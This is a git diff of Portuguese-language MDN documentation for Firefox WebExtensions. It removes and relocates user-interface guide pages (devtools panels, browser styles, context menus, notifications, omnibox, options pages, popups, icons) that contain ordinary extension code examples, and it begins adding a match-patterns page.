diff --git a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/devtools_panels/index.html b/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/devtools_panels/index.html deleted file mode 100644 index a2bc9921ad..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/devtools_panels/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Painéis das ferramentas de desenvolvimento -slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/devtools_panels -tags: - - Extensões da Web - - Guía - - Interface do Utilizador - - Principiante -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels ---- -
{{AddonSidebar}}
- -
-

Esta funcionalidade está disponível desde o Firefox 54.

-
- -

Quando uma extensão fornece ferramentas que são úteis para os programadores, é possível adicionar uma IU para as mesmas para as ferramentas de desenvolvimento do navegador como um novo painel.

- -

Simple example showing the addition of "My panel" to the Developer Tools tabs.

- -

Especificar um painel de ferramentas de desenvolvimento

- -

Um painél das ferramentas de desenvovlimento é adicionado utilizando a API devtools.panels, que precisa de ser executada a partir de uma página de devtools especial.

- -

Adicione a páginas de devtools, incluindo a chave devtools_page na extensão de manifest.json e forneça a localização do ficheiro HTML da página na extensão:

- -
"devtools_page": "devtools-page.html"
- -

From the devtools page, call a script that will add the devtools panel:

- -
<body>
-  <script src="devtools.js"></script>
-</body>
- -

In the script, create the devtools panel by specifying the panel's title, icon, and HTML file that provides the panel's content:

- -
function handleShown() {
-  console.log("panel is being shown");
-}
-
-function handleHidden() {
-  console.log("panel is being hidden");
-}
-
-browser.devtools.panels.create(
-  "My Panel",           // title
-  "icons/star.png",           // icon
-  "devtools/panel/panel.html"          // content
-).then((newPanel) => {
-  newPanel.onShown.addListener(handleShown);
-  newPanel.onHidden.addListener(handleHidden);
-});
- -

The extension can now run code in the inspected window using devtools.inspectedWindow.eval() or by injecting a content script via the background script by passing a message. You can find more details on how to do this in Extending the developer tools.

- -

Exemplos

- -

The webextensions-examples repo on GitHub, contains several examples of extensions that use devtools panels:

- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/estilos_de_navegador/index.html b/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/estilos_de_navegador/index.html deleted file mode 100644 index bc2f1bd2da..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/estilos_de_navegador/index.html +++ /dev/null @@ -1,453 +0,0 @@ ---- -title: Estilos de navegador -slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Estilos_de_navegador -tags: - - Extensões - - Extensões da Web - - Extras -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles ---- -
{{AddonSidebar}}
- -

Certain user interface components - browser and page action popups, sidebars, and options pages - are specified by your extension in essentially the same way:

- -
    -
  1. create an HTML file defining the structure of the UI element
  2. -
  3. add a manifest.json key (browser_action, page_action, sidebar_action, or options_ui) pointing to that HTML file.
  4. -
- -

One of the challenges with this approach is styling the element in such a way that it fits in with the browser's own style. To help with this, the manifest.json keys include an extra optional property: browser_style. If this is included and set to true, then your document will get one or more extra stylesheets that will help make it look consistent with the browser's UI and with other extensions that use the browser_style property.

- -

In Firefox, the stylesheet can be seen at chrome://browser/content/extension.css. The extra stylesheet at chrome://browser/content/extension-mac.css is also included on OS X.

- -

Most styles are automatically applied, but some elements require you to add the non-​standard browser-style class to get their styling since Firefox 55, as detailed in the table below:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementoExemplo
<button> -
-<button class="browser-style">Click me</button>{{non-standard_inline}}
-
-

<select>

-
-
-<select class="browser-style" name="select">
-  <option value="value1">Value 1</option>
-  <option value="value2" selected>Value 2</option>
-  <option value="value3">Value 3</option>
-</select>
-
<textarea> -
-<textarea class="browser-style">Write here</textarea>
-
Parent of an <input> -
-<div class="browser-style">
-  <input type="radio" id="op1" name="choices" value="op1">
-  <label for="op1">Option 1</label>
-
-  <input type="radio" id="op2" name="choices" value="op2">
-  <label for="op2">Option 2</label>
-</div>
-
- -

Compatibilidade de navegador

- - - -

{{Compat("webextensions.browser_style")}}

- -

Componentes de Painel do Firefox

- -
-

{{NonStandardBadge(1)}} Non-Standard
- This feature is non-standard and only works in Firefox.

-
- -

The chrome://browser/content/extension.css stylesheet also contains the styles for the Firefox Panel Components.

- -

The legacy Firefox Style Guide documents proper usage.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementoExemplo
Cabeçalho -
-<header class="panel-section panel-section-header">
-  <div class="icon-section-header"><img src="image.svg"/></div>
-  <div class="text-section-header">Header</div>
-</header>
-
Rodapé -
-<footer class="panel-section panel-section-footer">
-  <button class="panel-section-footer-button">Cancel</button>
-  <div class="panel-section-footer-separator"></div>
-  <button class="panel-section-footer-button default">Confirm</button>
-</footer>
-
Separadores -
-<div class="panel-section panel-section-tabs">
-  <button class="panel-section-tabs-button selected">Tab</button>
-  <div class="panel-section-tabs-separator"></div>
-  <button class="panel-section-tabs-button">Tab</button>
-  <div class="panel-section-tabs-separator"></div>
-  <button class="panel-section-tabs-button">Tab</button>
-</div>
-
Form -
-<div class="panel-section panel-section-formElements">
-  <div class="panel-formElements-item">
-    <label for="name01">Label:</label>
-    <input type="text" value="Name" id="name01" />
-  </div>
-  <div class="panel-formElements-item">
-    <label for="picker01">Label:</label>
-    <select id="picker01">
-      <option value="value1" selected="true">Dropdown</option>
-      <option value="value2">List Item</option>
-      <option value="value3">List Item</option>
-    </select>
-  </div>
-  <div class="panel-formElements-item">
-    <label for="placeholder01">Label:</label>
-    <input type="text" placeholder="Placeholder" id="placeholder01" />
-    <button name="expander" class="expander"></button>
-  </div>
-</div>
-
Menu -
-<div class="panel-section panel-section-list">
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut">Ctrl-L</div>
-  </div>
-
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-
-  <div class="panel-section-separator"></div>
-
-  <div class="panel-list-item disabled">
-    <div class="icon"></div>
-    <div class="text">Disabled List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-
-  <div class="panel-section-separator"></div>
-
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-</div>
-
- -

Exemplo

- -

HTML

- -
<header class="panel-section panel-section-header">
-  <div class="icon-section-header"><!-- An image goes here. --></div>
-  <div class="text-section-header">Header</div>
-</header>
-
-<div class="panel-section panel-section-list">
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut">Ctrl-L</div>
-  </div>
-
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-
-  <div class="panel-section-separator"></div>
-
-  <div class="panel-list-item disabled">
-    <div class="icon"></div>
-    <div class="text">Disabled List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-
-  <div class="panel-section-separator"></div>
-
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-
-  <div class="panel-list-item">
-    <div class="icon"></div>
-    <div class="text">List Item</div>
-    <div class="text-shortcut"></div>
-  </div>
-</div>
-
-<footer class="panel-section panel-section-footer">
-  <button class="panel-section-footer-button">Cancel</button>
-  <div class="panel-section-footer-separator"></div>
-  <button class="panel-section-footer-button default">Confirm</button>
-</footer>
- - - -

Result

- -

{{EmbedLiveSample("Example","640","360")}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/index.html b/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/index.html deleted file mode 100644 index 6ec29a7fcf..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: Interface do utilizador -slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador -tags: - - Interface do Utilizador - - Landing - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/user_interface ---- -
{{AddonSidebar}}
- -

As extensões que utilizam as APIs de WebExtension são fornecidas com várias opções de interface do utilizador, e assim, as suas funcionalidades podem ficar disponíveis para o utilizador. Um resumo dessas opções é fornecido abaixo, com uma introdução mais detalhada para cada opção da interface do utilziador nesta secção .

- -
-

For advice on using these UI components to create a great user experience in your extension, please see the User experience best practices article.

-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Opção de UIDescriçãoExemplo
Browser toolbar buttonA button on the browser toolbar that dispatches an event to the extension when clicked. By default, the button is visible in all tabs.Example of a WebExtension toolbar button
Browser toolbar button with a popupA popup on a button in the browser toolbar that opens when the button is clicked. The popup is defined in an HTML document that handles the user interaction.Example of a WebExtension toolbar button with a popup
Address bar buttonA button on the browser address bar that dispatches an event to the extension when clicked. By default, the button is hidden in all tabs.Example showing an address bar button (page action)
Address bar button with a popupA popup on a button in the browser address bar that opens when the button is clicked. The popup is defined in an HTML document that handles the user interaction.Example of a popup on the address bar button
Context menu itemsMenu items, checkboxes, and radio buttons on one or more of the browser's context menus. Also, menus can be structured by adding separators. When menu items are clicked, an event is dispatched to the extension.
Sidebar -

An HTML document displayed next to a web page, with the option for unique content per page. The sidebar is opened when the extension is installed, then obeys the user's sidebar visibility selection. User interaction within the sidebar is handled by its HTML document.

-
Example of a WebExtension's sidebar
Options pageA page that enables you to define preferences for your extension that your users can change. The user can access this page in the from the browser's add-ons manager.Example showing the options page content added in the favorite colors example.
Bundled web pagesUse web pages included in your extension to provide forms, help, or any other content required, within windows or tabs.Example of a simple bundled page displayed as a detached panel.
NotificationsTransient notifications displayed to the user through the underlying operating system's notifications mechanism. Dispatches an event to the extension when the user clicks a notification, or when a notification closes (either automatically or at the user's request).Example notification from a WebExtension
Address bar suggestionsOffer custom address bar suggestions when the user enters a keyword.Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions.
Developer tools panelsA tab with an associated HTML document that displays in the browser's developer tools.New panel tab in the Developer Tools tab bar
- -

The following how-to guides provide step-by-step guidance to creating some of these user interface options:

- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/itens_do_menu_de_contexto/index.html b/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/itens_do_menu_de_contexto/index.html deleted file mode 100644 index 231a800bc3..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/itens_do_menu_de_contexto/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Itens do menu de contexto -slug: >- - Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Itens_do_menu_de_contexto -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items ---- -
{{AddonSidebar}}
- -
-

Essa opção da interface do utilizador adiciona um ou mais itens a um menu de contexto do navegador.

- -

Example of content menu items added by a WebExtension, from the context-menu-demo example

- -

You would use this option to expose features that are relevant to specific browser or web page contexts. For example, you could show features to open a graphic editor when the user clicks on an image or offer a feature to save page content when part of a page is selected. You can add plain menu items, checkbox items, radio button groups, and separators to menus. Once a context menu item has been added using {{WebExtAPIRef("contextMenus.create")}} it's displayed in all browser tabs, but you can hide it by removing it with {{WebExtAPIRef("contextMenus.remove")}}.

- -

Especificar itens do menu de contexto

- -

You manage context menu items programmatically, using the {{WebExtAPIRef("contextMenus")}} API. However, you need to request the contextMenus permission in your manifest.json to be able to take advantage of the API.

- -
"permissions": ["contextMenus"]
- -

You can then add (and update or delete) the context menu items in your extension's background script. To create a menu item you specify an id, its title, and the context menus it should appear on:

- -
browser.contextMenus.create({
-  id: "log-selection",
-  title: browser.i18n.getMessage("contextMenuItemSelectionLogger"),
-  contexts: ["selection"]
-}, onCreated);
- -

Your extension then listens for clicks on the menu items. The passed information about the item clicked, the context where the click happened, and details of the tab where the click took place can then be used to invoke the appropriate extension functionality.

- -
browser.contextMenus.onClicked.addListener(function(info, tab) {
-  switch (info.menuItemId) {
-    case "log-selection":
-      console.log(info.selectionText);
-      break;
-    ...
-  }
-})
- -

Exemplos

- -

O repositório de wexemplos das Extensões da Web no GitHub, contém vários exemplos de extensões que utilizam os itens do menu de contexto:

- - -
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/notificacoes/index.html b/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/notificacoes/index.html deleted file mode 100644 index 5b38d4f29f..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/notificacoes/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Notificações -slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Notificacoes -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Notifications ---- -
{{AddonSidebar}}
- -
-

As notificações permitem-lhe comunicar a informação sobre a sua extensão ou o seu conteúdo utilizando o serviço de notificação do sistema operativo subjacente:

- -

- -

As notificações podem incluir uma chamada para ação para o utilizador, e o seu extra pode escutar o utilizador a clicar na notificação ou a notificação a fechar.

- -

Especificar as notificações

- -

Pode gerir as notificações programaticamente, utilizando a API {{WebExtAPIRef("notifications")}}. Para utilizar esta API deve solicitar a permissão de notifications no seu manifest.json:

- -
"permissions": ["notifications"]
- -

Depois, pode utilziar {{WebExtAPIRef("notifications.create")}} para criar as suas notificações, como neste exemplo de notify-link-clicks-i18n:

- -
var title = browser.i18n.getMessage("notificationTitle");
-var content = browser.i18n.getMessage("notificationContent", message.url);
-browser.notifications.create({
-  "type": "basic",
-  "iconUrl": browser.extension.getURL("icons/link-48.png"),
-  "title": title,
-  "message": content
-});
- -

Este código cria uma notificação com um ícone, título, e mensagem.

- -

Se a notificação incluir uma chamada para ação, pode escutar o utilizador a clicar na notificação para chamar a ação para manipular a ação:

- -
browser.notifications.onClicked.addListener(handleClick);
-
- -

Se estiver a enviar chamadas para ação através das notificações, também irá querer definir a notificação opcional id, e assim, pode saber qual a chamada para ação que o utilizador selecionou.

- -

Exemplos

- -

O repositório dos exemplos da extensões da Web no GitHub, contém vários exemplos das extensões que utilizam creates notifications:

- - -
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/omnibox/index.html b/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/omnibox/index.html deleted file mode 100644 index c0f9f41dca..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/omnibox/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Sugestões da barra de endereço -slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Omnibox -tags: - - Extensões da Web - - Interface do Utilizador -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Omnibox ---- -
{{AddonSidebar()}}
- -

Using the {{WebExtAPIRef("omnibox")}} API, extensions can customize the suggestions offered in the browser address bar's drop-down when the user enters a keyword.

- -

Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions.

- -

This enables your extension to, for example, search a library of free ebooks or, as in the example above, a repository of code examples.

- -

Especificando a personalização de omnibox

- -

You tell your extension that it is going to customize the address bar suggestions by including the omnibox key and definition of the trigger keyword in its manifest.json file:

- -
  "omnibox": { "keyword" : "cs" }
- -

In the extension's background JavaScript file, using {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}}, you can optionally define the first suggestion to be displayed in the address bar drop-down. Use this to provide a hint on how to use the feature:

- -
browser.omnibox.setDefaultSuggestion({
-  description: `Search the firefox codebase
-    (e.g. "hello world" | "path:omnibox.js onInputChanged")`
-});
- -

You can then add the code to provide the customized content by listening for {{WebExtAPIRef("omnibox.onInputStarted")}}, which is dispatched when the user has typed the keyword and a space, and {{WebExtAPIRef("omnibox.onInputChanged")}}, which is dispatched whenever the user updates the address bar entry. You can then populate the suggestions, in this case building a search of https://searchfox.org/mozilla-central using the term entered by the user:

- -
browser.omnibox.onInputChanged.addListener((text, addSuggestions) => {
-  let headers = new Headers({"Accept": "application/json"});
-  let init = {method: 'GET', headers};
-  let url = buildSearchURL(text);
-  let request = new Request(url, init);
-
-  fetch(request)
-    .then(createSuggestionsFromResponse)
-    .then(addSuggestions);
-});
- -

If the extension set a default suggestion using {{WebExtAPIRef("omnibox.setDefaultSuggestion()")}}, then this will appear first in the drop-down.

- -

The extension can then listen for the user clicking one of the suggestions, using {{WebExtAPIRef("omnibox.onInputEntered")}}. If the default suggestion is clicked the user's custom term is returned, otherwise the suggestion's string is returned. This also passes information on the user's browser preferences for handling new links. In the code below the user's custom term is used to create a search, otherwise the suggested URL is opened:

- -
browser.omnibox.onInputEntered.addListener((text, disposition) => {
-  let url = text;
-  if (!text.startsWith(SOURCE_URL)) {
-    // Update the url if the user clicks on the default suggestion.
-    url = `${SEARCH_URL}?q=${text}`;
-  }
-  switch (disposition) {
-    case "currentTab":
-      browser.tabs.update({url});
-      break;
-    case "newForegroundTab":
-      browser.tabs.create({url});
-      break;
-    case "newBackgroundTab":
-      browser.tabs.create({url, active: false});
-      break;
-  }
-});
- -

 

- -

Exemplos

- -

O repositório dos exemplos das extensões da Web no GitHub inclui o exemplo firefox-code-search que personaliza a barra de pesquisa.

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/options_pages/index.html b/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/options_pages/index.html deleted file mode 100644 index b3bee11990..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/options_pages/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Página de opções -slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Options_pages -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Options_pages ---- -
{{AddonSidebar}}
- -
-

Uma página de Opções permite-lhe definir as preferências para sua extensão que os seus utilizadores podem alterar. Os utilizadores podem aceder á página das opções para uma extensão a partir do do gestor de extras do navegador:

- -

{{EmbedYouTube("02oXAcbUv-s")}}

- -

The way users access the page, and the way it's integrated into the browser's user interface, will vary from one browser to another.

- - - -

You can open the page programmatically by calling runtime.openOptionsPage().

- -

Options pages have a Content Security Policy that restricts the sources from which they can load resources, and disallows some unsafe practices such as the use of eval(). See Content Security Policy for more details.

- -

Especificar a página de opções

- -

To create an options page, write an HTML file defining the page. This page can include CSS and JavaScript files, like a normal web page. This page, from the favourite-colour example, includes a JavaScript file:

- -
<!DOCTYPE html>
-
-<html>
-  <head>
-    <meta charset="utf-8">
-  </head>
-
-<body>
-  <form>
-      <label>Favourite colour</label>
-      <input type="text" id="colour" >
-      <button type="submit">Save</button>
-  </form>
-  <script src="options.js"></script>
-</body>
-
-</html>
- -

JavaScript em execução na página pode utilizar a API das Extensões da Web que o extra tem permissões para. Em particular, pode utilziar a APi de armazenamento para manter as preferências.

- -

Package the page's files in your extension.

- -

You also need to include the options_ui key in your manifest.json file, giving it the URL to the page.

- -
"options_ui": {
-  "page": "options.html",
-  "browser_style": true
-},
- -

Exemplos

- -

The webextensions-examples repo on GitHub, contains several examples of extensions that use an options page:

- - -
diff --git "a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/paginas_de_extens\303\243o/index.html" "b/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/paginas_de_extens\303\243o/index.html" deleted file mode 100644 index 4bf94b9653..0000000000 --- "a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/paginas_de_extens\303\243o/index.html" +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Páginas de extensão -slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Paginas_de_extensão -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages ---- -
{{AddonSidebar()}}
- -

Pode inclur páginas html na sua extensão para fornecer formulários, ajuda, ou qualquer outro conteúdo que a sua extensão precisar.

- -

Example of a simple bundled page displayed as a detached panel.

- -

These pages also get access to the same privileged JavaScript APIs that are available to your extension's background scripts.

- -

Especificar páginas de extensão

- -

You can include HTML files, and their associated CSS or JavaScript files, in your extension. The files can be included in the root or organized within meaningful sub-folders.

- -
/my-extension
-    /manifest.json
-    /my-page.html
-    /my-page.js
- -

Exibir páginas de extensão

- -

There are two options for displaying extension pages: {{WebExtAPIRef("windows.create()")}} and {{WebExtAPIRef("tabs.create()")}}.

- -

Using windows.create(), for example, you can open an HTML page into a detached panel (a window without the normal browser UI of address bar, bookmark bar, and alike) to create a dialog-like user experience:

- -
var createData = {
-  type: "detached_panel",
-  url: "panel.html",
-  width: 250,
-  height: 100
-};
-var creating = browser.windows.create(createData);
- -

When the window is no longer needed, it can be closed programmatically, for example, after the user clicks a button, by passing the id of the current window to {{WebExtAPIRef("windows.remove()")}}:

- -
document.getElementById("closeme").addEventListener("click", function(){
-  var winId = browser.windows.WINDOW_ID_CURRENT;
-  var removing = browser.windows.remove(winId);
-}); 
- -

Páginas de extensão e histório

- -

By default, pages you open in this way will be stored in the user's history, just like normal web pages. If you don't want to have this behavior, use {{WebExtAPIRef("history.deleteUrl()")}} to remove the browser's record:

- -
function onVisited(historyItem) {
-  if (historyItem.url == browser.extension.getURL(myPage)) {
-    browser.history.deleteUrl({url: historyItem.url});
-  }
-}
-
-browser.history.onVisited.addListener(onVisited);
- -

To use the history API, you must request the "history" permission in your manifest.json file.

- -

Desenho da página da Web

- -

For details on how to design your web page's to match the style of Firefox, see the Photon Design System documentation.

- -

Exemplos

- -

The webextensions-examples repository on GitHub includes the window-manipulator example, which implements several of the options for creating windows.

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/popups/index.html b/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/popups/index.html deleted file mode 100644 index 6bbf3f7ce8..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/popups/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Janelas (Popups) -slug: Mozilla/Add-ons/WebExtensions/interface_do_utilizador/Popups -tags: - - Extensions - - IU - - Interface do Utilizador - - Janela - - popup -translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Popups ---- -
{{AddonSidebar}}
- -
-

Uma janela (popup) é uma janela que está associada com um botão da barra de ferramentas ou botão da barra de endereço.

- -

- -

Quando o usuário clica no botão, a janela popup é exibida. Quando o usuário clica em qualquer lugar fora do popup, ele é fechado. O popup pode ser fechado via programação usando a função window.close() em um script sendo executado no popup. Entretanto, você não pode abrir o popup via programação a partir do código JavaScript da extensão: ele somente se abre em resposta a uma ação do usuário.

- -

Você pode definir um atalho de teclado que abre o popup usando "_execute_browser_action" and "_execute_page_action". Veja a documentação da chave commands       no manifest.json.

- -

Especificar uma janela

- -

O popup é definido por um arquivo HTML, que pode incluir arquivos CSS e JavaScript, como uma página comum. Diferentemente de uma página comum, o código JavaScript pode usar todos os WebExtension APIs que a extensão tem permissions .

- -

O documento do popup é carregado toda vez que ele é exibido, e descarregado quando o popup é fechado.

- -

O arquivo HTML é incluído na extensão e especificado como parte do  browser_action ou chave page_action por "default_popup" no arquivo manifest.json:

- -
  "browser_action": {
-    "default_icon": "icons/beasts-32.png",
-    "default_title": "Beastify",
-    "default_popup": "popup/choose_beast.html"
-  }
- -

You can ask the browser to include a stylesheet in your popup that will make it look consistent with the browser's UI. To do this, include "browser_style": true in the browser_action or page_action key.

- -

Popups have a Content Security Policy that restricts the sources from which they can load resources, and disallows some unsafe practices such as the use of eval(). See Content Security Policy for more details on this.

- -

Depurar janelas

- -

You can debug a popup's markup and JavaScript using the Add-on Debugger, but you'll need to turn on the Disable popup auto hide feature to prevent popups from hiding when you click outside them. Read about debugging popups.

- -

Redimensionar janelas

- -

Popups resize automatically to fit their content. The algorithm for this may differ from one browser to another.

- -

In Firefox, the size is calculated just before the popup is shown, and at most 10 times per second after DOM mutations. For strict mode documents, the size is calculated based on the layout size of the <body> element. For quirks mode, it's the <html> element. Firefox calculates the preferred width of the contents of that element, reflows it to that width, and then resizes so there's no vertical scrolling. It will grow to a size of 800x600 pixels at most if that fits on the user's screen. If the user moves the extension's button to the menu or it appears in the toolbar overflow, then the popup appears inside the menu's panel and is given a fixed width.

- -

No Firefox Android 57, popup é mostrada como uma página normal num novo separador.

- -

Desenho de janela

- -

Para obter detalhes sobre como desenhar a sua janela (popup) da página da Web para combinar com o estilo do Firefox, consulte a documentação Photon Design System.

- -

Exemplos

- -

The webextensions-examples  repository on GitHub includes the beastify example which implements a browser action with a popup.

-
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icones/index.html b/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icones/index.html deleted file mode 100644 index c9fd687771..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icones/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Ícones (icons) -slug: Mozilla/Add-ons/WebExtensions/manifest.json/icones -tags: - - Extensões - - Extensões da Web - - Extras -translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/icons ---- -
{{AddonSidebar}}
- - - - - - - - - - - - - - - - -
TipoObjeto
ObrigatórioNão
Exemplo -
-"icons": {
-  "48": "icon.png",
-  "96": "icon@2x.png"
-}
-
- -

The icons key specifies icons for your extension. Those icons will be used to represent the extension in components such as the Add-ons Manager.

- -

It consists of key-value pairs of image size in px and image path relative to the root directory of the extension.

- -

If icons is not supplied, a standard extension icon will be used by default.

- -

You should supply at least a main extension icon, ideally 48x48 px in size. This is the default icon that will be used in the Add-ons Manager. You may, however, supply icons of any size and Firefox will attempt to find the best icon to display in different components.

- -

Firefox will consider the screen resolution when choosing an icon. To deliver the best visual experience to users with high-resolution displays, such as Retina displays, provide double-sized versions of all your icons.

- -

Exemplo

- -

The keys in the icons object specify the icon size in px, values specify the relative icon path. This example contains a 48px extension icon and a larger version for high-resolution displays.

- -
"icons": {
-  "48": "icon.png",
-  "96": "icon@2x.png"
-}
- -

SVG

- -

You can use SVG and the browser will scale your icon appropriately. There are currently two caveats though:

- -
    -
  1. You need to specify a viewBox in the image. E.g.: -
    <svg viewBox="0 0 48 48" width="48" height="48" ...
    -
  2. -
  3. Even though you can use one file, you still need to specify various size of the icon in your manifest. E.g.: -
    "icons": {
    -  "48": "icon.svg",
    -  "96": "icon.svg"
    -}
    -
  4. -
- -
-

If you are using a program like Inkscape for creating SVG, you might want to save it as a "plain SVG". Firefox might be confused by various special namespaces and not display your icon.

-
- -

Compatibilidade de navegador

- - - -

{{Compat("webextensions.manifest.icons")}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icons/index.html b/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icons/index.html new file mode 100644 index 0000000000..c9fd687771 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icons/index.html @@ -0,0 +1,78 @@ +--- +title: Ícones (icons) +slug: Mozilla/Add-ons/WebExtensions/manifest.json/icones +tags: + - Extensões + - Extensões da Web + - Extras +translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/icons +--- +
{{AddonSidebar}}
+ + + + + + + + + + + + + + + + +
TipoObjeto
ObrigatórioNão
Exemplo +
+"icons": {
+  "48": "icon.png",
+  "96": "icon@2x.png"
+}
+
+ +

The icons key specifies icons for your extension. Those icons will be used to represent the extension in components such as the Add-ons Manager.

+ +

It consists of key-value pairs of image size in px and image path relative to the root directory of the extension.

+ +

If icons is not supplied, a standard extension icon will be used by default.

+ +

You should supply at least a main extension icon, ideally 48x48 px in size. This is the default icon that will be used in the Add-ons Manager. You may, however, supply icons of any size and Firefox will attempt to find the best icon to display in different components.

+ +

Firefox will consider the screen resolution when choosing an icon. To deliver the best visual experience to users with high-resolution displays, such as Retina displays, provide double-sized versions of all your icons.

+ +

Exemplo

+ +

The keys in the icons object specify the icon size in px, values specify the relative icon path. This example contains a 48px extension icon and a larger version for high-resolution displays.

+ +
"icons": {
+  "48": "icon.png",
+  "96": "icon@2x.png"
+}
+ +

SVG

+ +

You can use SVG and the browser will scale your icon appropriately. There are currently two caveats though:

+ +
    +
  1. You need to specify a viewBox in the image. E.g.: +
    <svg viewBox="0 0 48 48" width="48" height="48" ...
    +
  2. +
  3. Even though you can use one file, you still need to specify various size of the icon in your manifest. E.g.: +
    "icons": {
    +  "48": "icon.svg",
    +  "96": "icon.svg"
    +}
    +
  4. +
+ +
+

If you are using a program like Inkscape for creating SVG, you might want to save it as a "plain SVG". Firefox might be confused by various special namespaces and not display your icon.

+
+ +

Compatibilidade de navegador

+ + + +

{{Compat("webextensions.manifest.icons")}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/match_patterns/index.html b/files/pt-pt/mozilla/add-ons/webextensions/match_patterns/index.html new file mode 100644 index 0000000000..8c0f5e3480 --- /dev/null +++ b/files/pt-pt/mozilla/add-ons/webextensions/match_patterns/index.html @@ -0,0 +1,430 @@ +--- +title: dubla padrões em extensão manifestos +slug: Mozilla/Add-ons/WebExtensions/dubla_padrões +translation_of: Mozilla/Add-ons/WebExtensions/Match_patterns +--- +
{{AddonSidebar}}
+ +

Match patterns are a way to specify groups of URLs: a match pattern matches a specific set of URLs. They are used in WebExtensions APIs in a few places, most notably to specify which documents to load content scripts into, and to specify which URLs to add webRequest listeners to.

+ +

APIs that use match patterns usually accept a list of match patterns, and will perform the appropriate action if the URL matches any of the patterns. See, for example, the content_scripts key in manifest.json.

+ +

Match pattern structure

+ +
+

